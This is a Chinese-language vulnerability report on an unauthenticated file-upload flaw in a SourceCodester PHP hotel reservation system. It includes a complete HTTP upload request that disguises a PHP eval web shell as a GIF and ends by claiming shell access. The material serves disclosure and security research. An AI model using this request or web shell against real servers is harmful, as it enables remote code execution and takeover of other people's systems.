PHP/MySQLi 在线酒店预订系统(含源码) | SourceCodester
在在线酒店预订系统中发现了一个高危漏洞,影响 /marimar/admin/mod_room/controller.php 文件的上传功能。对 image 参数的绕过检测操作导致了无限制文件上传。攻击者可远程发起攻击。
marimar\admin\mod_room\controller.php

文件上传后,$image_name 变量会将文件名改为当前的年、月、日,然后加上 _ 和上传的文件名。
漏洞在于 $image_size 变量,它用于检测是否为图像文件,否则禁止上传。因此,我们只需在注入的恶意文件前添加图像文件头即可绕过检测。
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
恶意代码前添加了 GIF89a 伪装成 GIF 图片,构造上传数据包后,可以看到 cookie 被删除,表明系统没有身份验证,可远程发起攻击。

虽然出现了一个警告,但文件上传成功,并根据当前时间 2024/10/25 21:55 推断出文件名。


成功 getshell